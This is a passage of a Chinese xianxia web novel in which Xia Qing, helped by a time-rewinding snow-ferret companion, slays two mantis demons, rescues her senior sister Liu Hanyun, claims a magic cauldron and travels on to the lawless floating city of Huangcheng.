藏于石壁上的黑影摆尾逃走,但有一物夹在碎石之间坠落, 啪嗒一声掉到夏清脚边。 是一条胳臂,更准确一点儿说, 是长着狭长镰刀状骨刺的胳臂。 这怎么看也不是人类的胳臂,应该是某一类异兽或者兽人。 黑影逃走, 夏清瞧了眼地上的断臂,心头琢磨着如果再来一次,有没有可能直接拿下这凶物的性命。 但她自己也不敢保证死了真的能回溯时间,所以她还是会珍惜自己每一条生命。 夏清踏过满地碎石继续深入甬道,眼前道路分外眼熟,她愈发肯定先前她所经历的一切并非只是一场幻梦。 甬道延伸到道路尽头,视野骤然开阔,石板路两边堆积着如山的枯骨。 这回夏清有备而来,没等这些骨头自己活动,她就率先扔出两道明黄色的符。 伴随两声震耳欲聋的轰鸣,道路两侧的碎骨被炸得更碎了。 当这些骨片嗡嗡震动,准备聚合,夏清又使出第二手。 两道火符在空中划出漂亮的抛物线,落于碎骨堆之中,触地便开始熊熊燃烧。 不一会儿,烈火焚尽碎骨,只留一地焦黑个骨灰。 夏清肩膀上,小雪貂目瞪口呆。 清理干净路障,夏清这才继续往前走。 远处还有一些碎骨蠢蠢欲动,夏清依葫芦画瓢,将这些碎骨纷纷焚化成灰。 一边施法,她口中还一边振振有词地念叨着什么。 在白镜玄的视野中,夏清身上笼罩着一圈凡人肉眼不可见的金光,这金光泛着淡淡紫气,伴随夏清念咒速度越快,它便越浑厚明亮。 这一次,夏清顺利抵达祭坛。 准备的符纸耗损近半,好在实践证明,雷霆令加上五行火术,对这洞窟中的邪祟是有效的。 但祭坛上空无一物,看起来四周也没有暗道,刚才逃进来消失不见的黑影也没再出现。 种种迹象表明,这洞中秘密还未揭露,却不知机关藏在何处。 夏清绕着祭台巡视一圈,看着祭台正中雕凿的花纹,越看越觉得奇怪。 某时,她停下脚步。 从她现在这个角度看过去,那花纹的形态是一只巨大的昆虫,观其模样……像螳螂! 回忆起洞口处的经历,夏清陡然一惊。 原来攻击她的怪物是一只螳螂! 耳边传来小雪貂的警示之声,夏清毫不犹豫朝前一扑。 风声擦着她的脑袋掠过,锐利的刀刃削断她的发绳,待她回身站稳,一头长发瀑布般垂下,披散于腰际。 身后那道影子只出现一瞬,夏清回头之际,它又刹那间隐匿身形。 夏清皱眉看向祭台下方,台下的地面视野昏暗,若不仔细观察难以发现个中端倪。 祭台下方是大片泥地,泥土松软,那螳螂怪撤退之后应是立即遁地藏身,所以才瞧不见行迹。 但因方才夏清用雷霆加烈火的方式将地面烧灼成焦黑色,螳螂怪遁地时翻起新的泥土,这才显露痕迹。 夏清当即往那泥土异样之处扔出一张黄符,口中大声唱念雷霆令。 轰隆一声,黄泥炸开一个大坑,黑影倒飞出来,落地显出其真实的样貌,面目狰狞,长了一副螳螂的嘴脸,身上暗红色的甲壳被夏清的雷符炸裂。 “就是你在装神弄鬼!”夏清两指并起,当中夹着一张黄符,神色冷肃看着螳螂怪,“我师姐人在何处?!” 螳螂怪趴着不动,一双乌黑的眼睛里暗藏冷芒。 便在此时,夏清耳边又响起小雪貂急促的惊叫声。 嗡—— 猝不及防一把镰刀拦腰斩过。 夏清愕然,低头瞧见一把暗紫色的骨刀。 她恍然发现,被她击退的螳螂怪虽然伤得严重,但两条胳膊完好无损。 怎么就疏忽了呢? 这一次,视野消失之后,夏清好像听见了时间回溯的声音。 睁眼,她站在祭台边,台下土地焦黑一片,而她自己发带还束在头上,长发未散。 看清地上图腾的一瞬间,夏清腾身朝前一扑,同时反手向身后摔去一道黄符。 黄符命中空中黑影,轰隆一声巨响,黑影倒飞出去,落地显现出其真实样貌,是一只暗红色的螳螂。 吃过几次亏,夏清长了记性,当即侧身躲避。 果不其然,暗紫色的镰刀划过她刚刚短暂停留的地方,一只体格更加壮硕的紫螳螂显现真容。 它只有一条胳臂,另外一条早在洞口外时就被夏清一道雷符劈断了。 就是这两只螳螂怪在山里装神弄鬼。 螳螂怪显然惧怕夏清的雷霆令,一见夏清回头,偷袭落空,它立马抽身后退,借泥土遮掩身形,在泥地下飞快移动。 另一只个头矮小一些的红色螳螂也恢复了些许体力,钻进泥地之中,绕着祭台飞速画圈圈。 夏清左顾右盼,注意力被两只螳螂分散,无法瞄准它们当中任意一个。 迟疑须臾,两只螳螂同时跃出泥地,一左一右扑向夏清。 夏清迅速抽身飞退,却倏然感觉肩膀一松。 小雪貂竟从她肩膀上滑落,沉沉下坠。 左右两只螳螂已至近前,危机临身之际,它竟然不知闪躲! “卿卿!” 夏清惊呼,身体先于脑子有所行动,双脚在地上一蹬,强行逆转冲势,不退反进,一把抱住小雪貂。 刺啦一声脆响,两把镰刀划破夏清的衣服,在她背上留下两道清晰可见的交错伤口。 好在这一次她命大,碰巧躲开了致命伤。 但若同样的情况再出现一次,恐怕就没有那么幸运了。 两只螳螂怪一击不中立马后撤,夏清在台上翻了个跟头,待身形稍稳,低头瞧一眼怀里的小家伙。 小雪貂意识昏沉,隔着一层皮毛都能感受到它的身体不如平常温暖,毛发也黯然无光。 夏清心里霎时一咯噔,蹿升起不妙的预感。 难道她每一次看似回溯的重生,都是白镜玄在给她托底? 心念电转,夏清想起自己第一次炸碎石壁后,在村外大石头上醒来那个梦境。 那一次也不是梦境。 而是在她迈进石窟时,感受到洞顶滴下一滴血那一刻,紫螳螂偷袭她,她就死了。 是白镜玄找到她,施法回溯的时间。 不知道白镜玄自己有没有时间回溯的记忆,可显而易见,每一次夏清死后能回溯的时间越来越短,白镜玄所剩不多的法力飞快流逝,甚至有可能是以它自己的生机为代价。 一旦白镜玄耗尽自己的生机,她也就再无时间回溯的机会,她们都活不成! 夏清咬牙,危机感炸裂,肾上腺素飙升。 当腥风再次吹来,她本能的求生欲赶超理智,抽身闪避的同时,双手扔出两道符。 轰—— 其中一道符命中暗红色的螳螂,它本就脆弱的铠甲崩得四分五裂,被雷符从空中击落,落地一声闷响,浑身冒着滋滋白烟,挣扎两下便不再动了。 紫螳螂反应更快一些,在空中灵活地偏转方向,避开雷符。 雷符从它身侧擦过,落地轰隆一声,将地面炸开一个半米深的大坑。 而那紫螳螂见势不妙又一次遁地躲藏,夏清压低身伏在台上,怀中抱紧小雪貂。 她呼吸急促,满头大汗,剧烈跃动的心跳几乎要震碎她的胸膛。 电光石火的危机时刻,她还忍不住低头又瞧一眼小雪貂。 它身子软软的,像睡着了,没有要醒来的迹象。 这把得豁出去了,夏清心想。 因为她手中,已只剩下一张符了。 第34章 第三十四章 夏清单手捏着雷符, 因为紧张而绷紧心神。 今日,她们和这只螳螂怪,只能有一方活下来。 生存危机逼迫之下, 她的注意力高度集中, 听觉, 嗅觉, 视觉覆盖祭坛内外每一寸土地。 某时,夏清耳尖微动, 听见左前方泥地下传来细微的动静。 夏清一个翻身,向右侧闪避,同时抄起一枚石子扔向锐气扑来的方向。 嗡—— 紫螳螂翅膀一震, 侧身避开石子。 夏清看准时机, 扬臂甩出最后一道符。 那紫螳螂反应迅速,见势抬起胳臂抵挡。 雷符掠空而过,击中它的小臂。 轰隆一声, 它仅剩的一条胳臂也被雷符炸断。 紫螳螂惨叫一声,被反震之力推着往后跌退几步,但未殒命。 不知是不是疼痛刺激到它发狂,双臂尽断之后, 它竟然发了疯似的扑向夏清。 那狰狞的大嘴张开,里面密密麻麻全是有毒的倒刺。 夏清瞳孔一缩,暗道该死。 凶性大发的螳螂怪闪电般扑到近前,夏清一退再退, 退到祭坛边缘,身后是一个大泥坑, 坑中隐约可见一些没有燃烬的碎骨。 螳螂怪张嘴咬向夏清的脖子,夏清当机立断一个后空翻跳下祭坛, 落地随手抄起一截棒子骨。 当的一声,棒骨卡在螳螂怪嘴巴中间。 那剪刀似的坚硬甲壳与棒骨碰撞,发出金铁交击的脆响,激出一簇火光。 幸而这棒骨足够硬,夏清左右两手其出,一只手掰住一头,拉闸似的将棒骨顺时针用力转动。 螳螂怪咬着棒骨不松口,大力扭动之下,它的脑袋猛地一偏,头颈交接处发出卡吧异响,夏清趁势腾空跃起,飞起一脚猛踹螳螂怪的胸口。 轰—— 螳螂怪倒飞出去,后背击中祭坛边缘,其甲壳之硬,竟将石台硬生生砸开一个缺口。 这一下撞得它头晕眼花,且脑袋以极其不和谐的角度扭着,一时间难以恢复。 夏清痛打落水狗,抄起棒骨一跃而起,大力挥臂。 碰一声闷响,棒骨关节击中螳螂怪的侧颈,它头部甲壳被棒骨击碎,深深凹进去一块,身体也被突如其来的力量带着腾空而起,飞掠四五米才轰然落地。 夏清双手提着大棒骨,呼哧呼哧直喘气。 那只紫螳螂落地后就不再动弹,但夏清不敢大意,谨慎起见,她当即又摸出一张空白符纸,沾了点血新挥一张雷符,扔向紫螳螂。 轰隆巨响过后,紫螳螂的躯壳四分五裂,一颗暗紫色的内丹弹飞起来,骨碌碌滚到夏清脚边。 这怪物当是死得不能再死了,夏清这才彻底放心。 她弯腰捡起内丹,吸纳一部分灵气用以疗伤,待伤势减缓一些,强烈的疲惫感消退,她这才走向红螳螂,将怪物开膛剖肚,取出体内的内丹。 紫螳螂的内丹比红螳螂更大更亮一些,可见紫螳螂的修为也在红螳螂之上。 这两个怪物合起来,杀了夏清足足三回,要不是白镜玄护着,她这会儿尸体都该凉透了。 白镜玄已陷入昏迷,夏清叫她也没有动静,这让夏清心中惴惴,分外担心。 于是她将螳螂怪的内丹贴在小雪貂的胸口上,一边催发内丹的力量一边念咒施展治疗术,尝试唤醒白镜玄。 一枚内丹灵气耗尽,小雪貂体温有所回升,但依然昏迷着,没有醒过来。 夏清抿唇,神色忧虑。 幸好它看起来状态有所好转,性命应该无碍。 夏清摸摸小雪貂的脑袋,低头在它额头上亲了亲,将它揣进怀里抱好,这才又继续寻找柳菡云。 本着生要见人,死要见尸的原则,夏清又起一卦卜算柳菡云的下落。 离为火,外实内虚之地。 依照这卦象显示,柳菡云应该就在这石窟之中。 夏清左思右想,视线落在当中那座祭坛上,这祭坛必有古怪。 她走近祭坛,于台下环绕一圈,终于发现端倪。 祭坛正南方向,有个形状不规则的小孔,看起来像一个钥匙孔。 夏清赶紧倒退回来,搜索两只螳螂怪的尸体,可惜它们的尸体都成碎块了,根本寻不见钥匙的踪迹。 一筹莫展之际,夏清怀中的小雪貂眼皮颤了颤,幽幽转醒。 “卿卿!”夏清第一时间发现它醒了,霎时喜出望外,“你终于醒了,可吓死我了!” 小雪貂眨眨眼,眼神茫然。 夏清把它抱起来,结结实实亲了好几口,亲得小雪貂清醒过来,浑身冒起粉红泡泡,抬起小爪爪按住夏清的脸颊,不让她再亲了。 奈何夏清情绪太过激动,小雪貂刚醒过来,哪有力气与她对抗,被夏清搂进怀里牢牢抱紧。 “多亏有你。” 或许是夏清怀里的心跳过于剧烈,小雪貂埋在夏清怀里,没有再抗拒。 过了好一会儿,夏清勉强冷静下来,回想起她还有一件要事。 “啊,柳师姐还没找到!” 于是她又抱着小雪貂凑近祭坛,让它怼着祭台侧面小孔仔细观察:“卿卿,你看这个地方像不像锁孔,你有没有办法把它打开?” 白镜玄:“……” 不过,她对夏清的请求向来是有求必应的。 它盯着那小孔仔细观察,又匹配四周能观察到的一切蛛丝马迹,很快便找到答案。 小雪貂嗖一下从夏清怀里跳下来,夏清微怔,喊她:“卿卿?” 只见它小小的身子一蹦一蹦地跑向螳螂怪四分五裂的尸体,在四周逡巡一圈,找到一条断臂。 夏清视线被那断臂上一根狭窄* 细长的骨刺吸引。 骨刺!对她,她怎么没有想到! 小雪貂拖着螳螂断臂来到夏清跟前,示意夏清试一试。 夏清意会它的意思,抓起断臂将那骨刺扎进锁孔。 伴随咔哒一声细微响动,整个既然竟然开始缓缓旋转。 夏清感觉到地面震动,贴近祭坛的土地龟裂凸起,祭坛像是活了一样,开始向上生长。 谨慎起见,夏清抱起小雪貂朝后退了好几步。 于是,这座祭坛便在夏清视野中旋转着缓缓拔高,约摸抬高到三米,露出被泥土掩埋的大半部分真身。 竟然是一座倒扣的圆鼎。 祭坛上方三根柱子,是它的三条腿。 夏清用螳螂臂解开圆鼎的封印,那用作钥匙的螳螂臂便融化没入鼎身,修复了底座边缘破损的一小块。 “好神奇。”夏清惊讶道,“这么大的鼎是怎么打造出来的?” 她话音未落,忽然手掌一阵剧痛。 “嗷——” 夏清低头,看向叼着自己手掌的小雪貂:“……你咬我干嘛?” 雪貂嘴巴松开,夏清手掌上显出四个清晰的血窟窿。 好家伙,居然下死口! 夏清不可置信。 但没等她跟这小东西好好掰头,雪貂又张开嘴,作势要咬。 夏清条件反射猛地抽手。 却还是慢了一步。 小雪貂一口含住她的手腕,拽着她朝前扑。 “啊啊啊啊!!” 夏清脚下一个趔趄,失去平衡,身体猛往前栽。 她的手掌嘭一声按住鼎身,与此同时咚的一声闷响,她的脑袋也狠狠撞上大鼎。 霎时间天旋地转,脑袋里嗡嗡作响,仿佛有一千只蜜蜂围着她转。 这一波高低得整个脑震荡。 什么仇什么怨? 夏清心里拔凉拔凉的,难道白镜玄记忆已经恢复,这就要取她性命了? 脑子浑浑噩噩想不明白,夏清勉强扶住鼎身站稳。 便在这时,陌生的灼烫感突然出现,开始烧灼她的掌心。 夏清猛地一惊,欲将手抽回,她的手掌却像被强力胶粘附在大鼎上,动都动不了。 小雪貂扑通一声落地,抬头时小脸儿上神色严肃,紧紧盯着夏清的手,似乎在等待什么。 夏清被滚烫的大鼎灼得嗷嗷直叫,连脑袋晕眩的恶心感都顾不上。 很快,大鼎上出现异状。 以夏清手掌为中心,一条条赤红纹路延伸出去,直至覆盖整个鼎身。 随即,嗡一声响,大鼎表皮剥落,露出青铜色泽。 夏清手掌上的灼痛感消失了,取而代之是与大鼎之间的微妙联系,她抽手往回退,便见那小房子似的青铜大鼎化作一缕流光,没入她的手掌。 翻开手来一看,她的手心出现了一个小小的青铜形状的花纹。 被小雪貂咬出来的四个血窟窿也自行痊愈了。 不知道发生了什么,但好像并不是坏事。 “唔……” 来不及细想怎么回事,一声痛哼拉回夏清的心神。 大鼎消失之后,底下露出一个原形的坑,柳菡云就躺在坑底。 乍一看,她全须全尾。 虽然衣服上染了些血迹,但胳臂和腿都还健在。 “师姐!” 夏清大步跑向柳菡云。 身后,小雪貂一蹦一跳地跟来。 柳菡云睁眼看见夏清,晃了晃神:“师妹?”随即,她像想起什么,倏地变了脸色,“这里危险,师妹你快走!” “已经没事了。”夏清安抚柳菡云道,“两只螳螂怪都被我杀了,我是来救你的。” 柳菡云两眼一瞪,将信将疑:“真的?” 夏清于是手指螳螂怪的尸体:“你且自己看。” 柳菡云顺着夏清所指方向看去时,果然看见四分五裂的螳螂怪尸体。 紧绷的心神放松下来,随即,她便意外发现夏清身后跟着个白色皮毛的小可爱。 “哇,师妹你养了异兽?!” “不是……”夏清话没说完,电光石火之间,柳菡云已上手摸过去。 下一秒,雪貂咬住柳菡云的手掌。 夏清:“……” “咳。”夏清不好意思地揉了揉鼻子,看着一脸懵逼的柳菡云,解释道,“它喜欢咬人。” 柳菡云收回手。 新鲜的四个血窟窿,瀑布似的喷出四朵小血花。 “嗷——” 第35章 第三十五章 柳菡云被小雪貂咬了一口, 本就伤痕累累的身体又添新伤。 好在她修为不赖,自身又有特殊血脉天赋加成,那四朵血花喷了一会儿就缓缓消停, 伤口以肉眼可见的速度愈合。 夏清见状忍不住赞叹:“你这体质真好用, 是不是因为这那两个螳螂怪才没杀死你?” 柳菡云闻言笑道:“因为我有特殊的护体法术!它们奈何我不得, 才只能用法器将我困住。” 说着, 她想起什么,左顾右盼:“诶, 那只福生鼎哪儿去了?” “福生鼎?”夏清眨了眨眼,向柳菡云摊开手掌,“你说的是这个?” 柳菡云看清夏清手掌上纹路, 惊喜不已:“师妹, 你收服了福生鼎?!有此法宝护身,你的修行速度必将一日千里,真是太好了!” 夏清听得颇为惊奇:“有这么厉害?” “师妹你有所不知, 此宝唤为福生鼎,顾名思义,乃是福运双生之鼎!” 柳菡云知无不言,侃侃而谈:“我曾在古籍中见过此宝, 相传此鼎应是在神魔大战之年失落于蛮荒,不曾想竟被这里两个妖物捡到,借此为祸人间,夏师妹斩除妖物, 又收服此鼎,实乃天命所归!” 天命所归? 夏清听到此处, 眼睛眨了又眨,看看柳菡云, 再看看自己。 一个未曾考虑过的可能自脑海中缓缓浮现。 难道……这福生鼎原本该是柳菡云通关副本之后的奖励?应该也是整个故事中至关重要的一件道具。 现在却阴差阳错到了她的手里。 夏清倒吸一口冷气。 完犊子了,她抢了柳菡云的主角剧本?! 这下可咋整啊? 夏清这边风中凌乱,柳菡云却还在兴头上,兀自为夏清细细解说:“师妹,别看此鼎当下破破烂烂,但它可是一件真宝贝,你要好好利用,或可通过吸纳灵药丹材中的灵气对福生鼎进行修复,百利而无一害。” 没等柳菡云说完,夏清忽然道:“师姐,我看你对这鼎颇有研究,不如你拿去用吧!” 人家主角肯定要济世救人,除魔卫道拯救苍生的,她一个炮灰抢了主角剧本能有什么好下场? 夏清这话说完,不仅柳菡云愣住,就连她怀里的小雪貂也瞪了瞪眼。 柳菡云尚未来得及开口,小雪貂尾巴一扫,劈头盖脸敲在夏清脑门上。 夏清被砸得一个趔趄,捂着额头瞪一眼小雪貂:“你干嘛?” 小雪貂也不甘示弱地回瞪她:你都没有给我送过礼物,却要把福生鼎送给柳菡云?! 一人一貂大眼瞪小眼,没分出高下呢,一旁柳菡云噗嗤笑出声来:“哎哟,师妹你养的这只异兽也忒凶了,怎么连你也揍啊?” 夏清抽空睨她一眼,语气无奈:“我可管不住它。” 小雪貂扭开脑袋:哼。 “这小家伙都比师妹你识货,它肯定是因为你说要把福生鼎给我才生气的。”柳菡云乐呵呵地弯起眼。 “此鼎可是灵物,既然认师妹为主,便代表师妹命中有此福缘,再者说,师妹辛辛苦苦斩杀螳螂妖才获得此物,我可不好意思夺人所好。” 夏清还是不肯死心:“师姐,其实我……” “好了,师妹不必多说。”柳菡云摆了摆手,阻止夏清,“我还未谢过师妹救命之恩,此鼎师妹切记收好,日后回了仙界,大有用处!” 言罢,柳菡云自行换了话题:“此地阴森诡异不宜久留,我们速速离去,将这山洞炸毁,根除遗害!” 夏清只得点头。 一转眼,柳菡云已动身出发,夏清不好再就法宝之事纠缠,便抱紧小雪貂快步跟上柳菡云。 来到山洞外面,柳菡云施展了一个碎石咒,石窟从最深处开始坍塌,轰隆震鸣之声不绝于耳,约摸五分钟后,一道浓烈的烟尘从洞口吐出来,紧接着,山洞入口也轰然塌陷。 “完事儿。”柳菡云拍拍手,“可以回去向村民们交差了。” 听得此言,夏清犹豫片刻,叫住柳菡云。 柳菡云回眸,扔给她一个疑惑的眼神,夏清遂将来时路上听到的风声转达给柳菡云。 “这样啊。”柳菡云听夏清说完,若有所思,最终她还是笑了笑,“那也要将妖物伏诛的消息告诉村民,我来此既是为此事,自然要给他们一个说法。” 夏清跟在她身侧,疑惑道:“你为何不生气?” 柳菡云眉目舒展,爽朗笑开:“这有什么好气的?人不是生来就好,也不是生来就坏,金无足赤人无完人,他虽动了害我之心,却全是为了自保,如今威胁他们性命的妖物已除,他们自没有理由再害人了。” 夏清沉吟须臾,反驳道:“可是,倘若他们日后还继续害人呢?今可为一己之私害无辜者性命,来日便也可为一己之私,夺占他人物资钱财。” 见夏清问得认真,柳菡云便也思量片刻,而后开口:“这些人来日可能作奸犯科,也可能改邪归正,若我也为一己之私动了杀念,不就扼杀了他们向善的可能?我之所为,不也塑造了一个不好的缘起?” “斩除妖魔是我等修行之人的使命,而人之善恶,自有尘世规则约束,因果轮回往复不息,师妹,我们管不了太远的事情。”柳菡云边走边说,“只能顾眼前。” 夏清听柳菡云说完,大受震撼。 这样的见解在锱铢必较的现代社会中是很难听到的,夏清自己也难以苟同。 大多数人在成长过程中反反复复学习仁义礼智信,但她们出身社会所经历的现实和书本中描绘的乌托邦截然相反。 以德报怨,不是圣人就是傻子。 夏清自认做不了圣人,但她也不愿被当作傻子。 因果自有它的规律,天地万物周而复始,夏清学了易经,岂会不明白这些道理? 但是,就如柳菡云所说,一旦人心生了善念,恶之因就会被消灭,渡人向善就会有越来越多的善,而渡人向恶,则会让恶如瘟疫一般蔓延,最终化作一个泥潭。 不必为未发生的事情做重重假设,未来将是旷野,总有一条路能海阔天空。 听完柳菡云一番话,夏清感觉自己心胸都变得开阔了一些。 怪不得古语有云,近朱者赤,近墨者黑。 夏清感受到柳菡云强大的内心力量,或许这就是她能成为这个故事主角的原因。 “听君一席话,胜读十年书。”夏清感慨。 柳菡云笑眼弯弯:“我可没有这么厉害,是师妹悟性高。” 夏清指着小雪貂的鼻子:“听到没有,多发善心,做善事,结善因,别动不动就咬人。” 小雪貂:“……” 它龇了龇牙,夏清嗖地就把手收回来。 柳菡云见状哈哈笑开:“师妹,还没问你呢,你是在何处与这小兽结缘?” “这……”夏清思量着该从哪里开口,“其实,这只小兽……唔!” 话没说完,小雪貂从夏清怀里蹿起来,脑袋顶了顶夏清的下巴,害她差点把舌头咬到。 夏清瞪眼暴怒:“你干什么?!!” 小雪貂脑袋撇开,身后尾巴左摇一下,右晃一下,权当无事发生。 夏清见它如此气得牙痒痒。 白镜玄自从变了雪貂,本性暴露无疑,蛮横又不讲理,还爱发脾气,难伺候极了。 但她毕竟是白镜玄,若短时间内不出变故,夏清以后还要继续和她相处,只能一忍再忍。 看在白镜玄屡次救了她性命的份上,夏清说服自己,不和小东西一般见识,因而扭头对柳菡云道:“路上随便捡的。” 柳菡云一脸好奇,夏清继续说道:“我捡它的时候它受了奇怪的伤,兽人圣女说要在荒古遗迹寻找一种奇兽,杀之取血才能治疗,所以我想请师姐帮忙。” “原来如此!”柳菡云恍然大悟,“好说好说,三年之期尚早,我们不如先去找这奇兽,再去寻金灵草。” 不料柳菡云主动提出先去荒古遗迹,夏清准备的腹稿全无用武之地,一时没反应过来。 迟疑须臾,手掌上又传来针扎般的剧痛。 这回倒是没咬破,但手掌边缘四颗小牙印清晰泛白。 夏清气急败坏,捏住小雪貂的嘴巴:“你咬上瘾了是不是?” “我是为了谁不远万里冒险去荒古遗迹找奇兽之血?有那闲功夫我躺着睡大觉不好吗?”夏清越说越委屈,“你还有什么不满意的?有什么不满意,你说啊!” 柳菡云也没想到夏清突然情绪大爆发,顿时手足无措,尴尬劝架:“哎哎,师妹,你别生气,它只是个异兽!你跟它一般见识干什么?再说了,它也不会说话呀!” 话音未落,咔嚓一声响。 异兽挣脱夏清的手,从夏清怀里探出半个身子,咬了她一口。 四个更新更大的血窟窿出现在她的手掌上,血花喷泉似的滋滋往外冒。 柳菡云:“……” 她和小雪貂四目相对,大眼瞪小眼。 片刻后,柳菡云咧咧嘴,换了一副面孔:“该!哪儿来那么大的凶性,就该让师妹好好管教管教你!” 小雪貂张嘴又要咬人,被夏清一把提溜住后脖颈,硬控三十秒,蔫儿头耷脑的,动也不能动一下。 柳菡云拍手叫好。 这真是卤水点豆腐,一物降一物! 白镜玄气得身上毛毛全部炸开,变成一个圆鼓鼓的刺毛团团。 见状,夏清恢复一些理智。 完球了,这可是白镜玄。 现下柳菡云不知道它的身份,这般肆意嘲笑,等日后白镜玄变回人身,岂能轻饶柳菡云? 夏清脑子飞快转动,倏然抱起小雪貂,照着它的脸蛋儿吧唧一口。 白镜玄:“!” 眼看小家伙身上的毛毛像蔫儿了气的气球顺下去,柳菡云惊讶:“诶,它怎么不凶了?” 小雪貂甩了甩尾巴,浑身冒着粉红泡泡,好似漫不经心地睨柳菡云一眼。 你等着。 第36章 第三十六章 夏清将小雪貂揽进怀里抱好, 心里也琢磨出点儿门道。 白镜玄情绪如此反常,就是从遇到柳菡云开始的,联系白镜玄种种举动, 夏清反应过来, 它不希望自己的真实身份被柳菡云知晓。 想通关节, 夏清不由觉得好笑, 堂堂仙尊,也逃不过死要面子这一关。 做人的时候还要端着, 现在演都不演了。 柳菡云还在为夏清能制住小雪貂而啧啧称奇,夏清已在心里深处为柳菡云悄悄默哀。 这段时间,她会多给白镜玄提供一些情绪价值, 但白镜玄不让她透露太多, 柳菡云就只能自求多福。 两人回到村庄,柳菡云未入村中敲门,而是飞入高空, 以灵蕴传音之术将“山神”已除,日后不必再供奉祭品的消息告知村里的村民。 柳菡云话音落下不久,夏清看见其中一户人家房门打开,里面的人走出来。 望见悬停于半空之上的柳菡云和夏清, 此人扑通一声跪倒,向她们连磕好几个响头。 这方动静引起其他村民注意,没过多久,空地上陆陆续续汇聚二三十人, 全部跪地磕头,大喊多谢仙师救命之恩。 其中, 自然也包括先前背后议论柳菡云的那对夫妻。 柳菡云果然没与他们一般见识,此事罢了, 一句话也不多说,坦然接受了村民叩拜。 但当这些人再抬头时,空中两位仙师已不见其踪。 柳菡云二人早已在百丈开外,往荒古遗迹的方向继续赶路。 有柳菡云的加入,队伍战力大大提升,夏清再不必担心受怕,夜里有柳菡云守着,她也终于能睡个安稳的觉。 不知是不是心下稍安的缘故,连着好几日,夏清没有再做噩梦,养得神清气爽。 荒古遗迹距离魔渊很近,因而位置荒僻,路途遥远。 夏清二人横穿弭荼洲,抵达洲境边缘,再往前,便是各大洲都不管的混沌地带——荒城。 这里是好几个大洲的交汇之地,城中不仅有兽人,翼人,还有鬼修、妖修和人类魔修。 唯独没有仙修。 没有蛮荒政权干涉的地方,意味着混乱,原始,弱肉强食。 正因如此,这片地域建设程度低,大面积覆盖着未遭损毁的远古植物。 一片环形裂谷将荒城和其他大洲分割开,只有一条铁索将两岸相连,要前往荒古遗迹,必从此地经过。 夏清凑近崖边,探头探脑低往下看,只瞧一眼便战战兢兢地收回视线。 “艾玛,这也太高了。”夏清小声嘟囔,“根本看不到底下。” 裂谷下被雾气遮蔽,雾云翻滚,扔枚石子下去都听不见回音,可见这裂谷深不见底,若不慎跌下去,保准摔成肉泥。 柳菡云哈哈笑道:“放心吧,摔不死。” 蛮荒的石头对她们而言软如棉花,就算从万丈高空掉下去,也不过是跌进一大片棉花里,擦伤皮肉都不易,何况伤及性命? 夏清可没有柳菡云这么乐观,在蓝星生活了二十几年,固有观念根深蒂固,岂是说变就变? 柳菡云招呼下,夏清不情不愿地走向铁索。 这条铁索无人看守,柳菡云叮嘱夏清:“我们过去尽量低调,如非必要莫与人交手。” 能在荒城扎根的人哪个身上没点儿真东西? 若是招惹了独来独往的妖修鬼修倒也罢了,一旦招惹魔修,恐怕盘根错节牵扯出一大片,她们的目标是荒古遗迹,实在没有必要在这里浪费精力。 夏清连连点头,她很菜的,保证不会主动跟人动手。 上铁索时,夏清抱紧小雪貂,嘴上说道:“你可要抓稳咯,千万别掉下去了。” 白镜玄:“……” 那你先别抖。 柳菡云走在前面,夏清战战兢兢跟在后头。 踏上第一步时铁索稍微晃一晃都能给夏清吓出一身冷汗,待得向前走几步,恐惧感反而消退。 铁索稳稳当当,她大步向前也没有问题。 夏清鼓起一些勇气,脚下步子自然越走越快。 某时,前方传来一大片嘈杂刺耳的声音,柳菡云同时出声提醒:“小心,站稳别动!” 夏清立马停下脚步。 一片乌黑的浓雾从对岸吹来,从夏清面前经过时,她才愕然发现,这阵风原来是一大群蝙蝠! 蝙蝠群太浓太密,噼里啪啦敲打在夏清身上。 “啊啊啊——!” 尖叫声尚未完全释放情绪便戛然而止,原因是混乱中一只蝙蝠的翅膀拍打在夏清脸上,她害怕嘴巴张太大吃进什么不干净的东西,于是中途又给闭上。 身体本能想要躲闪,奈何脚下只有一根手臂粗的锁链,无路可退。 夏清怕脚滑,拼命维持平衡,等了约莫两三分钟,才与蝙蝠群错身而过。 “这也太吓人了吧?”夏清勉强站稳,拍拍胸脯,惊魂未定地说,“前面还有吗?” 柳菡云摇头:“不知道,看运气吧。” 说罢,继续往前走。 夏清感觉怀中有些异样,低头检查,而后大吃一惊。 她因为害怕,两条胳膊搂得太紧,怀里小雪貂两眼翻白,都开始吐舌头了! 夏清惊呼:“哎呀!卿卿!你醒醒!” 前边儿柳菡云闻声发笑:“你给它取名儿怎么这么偷懒,你自己叫夏清,又管它叫清清。” 夏清:“……” 没法解释,这注定将成为一个无法明说的误会。 怀里,小雪貂幽幽转醒。 夏清委实松了一口气,摸摸它的小脑袋。 小雪貂迷迷糊糊,但被夏清摸摸它还是很受用,乖乖待在夏清怀里,不吵不闹的。 难得如此“师慈徒恭”,气氛祥和。 接下来没再遭遇意外事故,夏清和柳菡云成功抵达对岸。 有惊无险,夏清双手合十朝天拜拜,口中念叨:“感谢无量天尊保佑!” 柳菡云脑袋凑过来,问出白镜玄内心的疑惑:“无量天尊?” 夏清差点张口就要说此人是她的祖师爷,但脑子及时悬崖勒马,她现在师传白镜玄,祖师是何人还不知道呢。 因而,夏清回答:“古书里说他是一位得道大能。” 柳菡云:“哦——” 夏清松了一口气,幸好柳菡云不再追问。 怀里,小雪貂甩甩尾巴,心想:无量天尊,有金仙修为吗? 夏清对白镜玄心中所想一无所知,她们度过铁索,对岸又出现一条狭长的通道。 这通道原是一面石壁下的裂隙,两侧石壁高耸入云,抬头只能看见一线天光。 柳菡云领着夏清穿过裂隙,至道路尽头时,视野豁然开朗。 石壁后又是深渊,但一座浮空之城凌空悬于深渊之上,城市街道纵横交错,像积木一片搭一片,一环扣一环,蔚为壮观。 夏清从未见过这样的建筑,凌乱中透着野蛮的秩序,有一种漠视规则的美感。 “咱们从哪儿过去?”夏清收回视线,看向柳菡云。 柳菡云抬了抬下巴,示意夏清向上看。 夏清顺着柳菡云所指望去,见环形石壁上不规律地建造了一些栈道,悬空回廊,栈道回廊之间,有铁索相互交错。 “荒城外围都只能走铁索。”柳菡云告诉夏清,“进了城内就能看见飞舟。” “飞舟?” 夏清怀着疑惑跟随柳菡云穿过一条条铁索,又在一扇大门前,向守门的地头蛇交了高价入城税,她们终于进了城。 于是,夏清惊掉了下巴。 城内的建筑风格愈发狂乱,楼与楼之间连接着许多铁索。 这些并行的铁索充当了轨道,大型舟型运输工具在楼间穿梭,每到一个地方就停下来,衣着各异的乘客上上下下,进进出出。 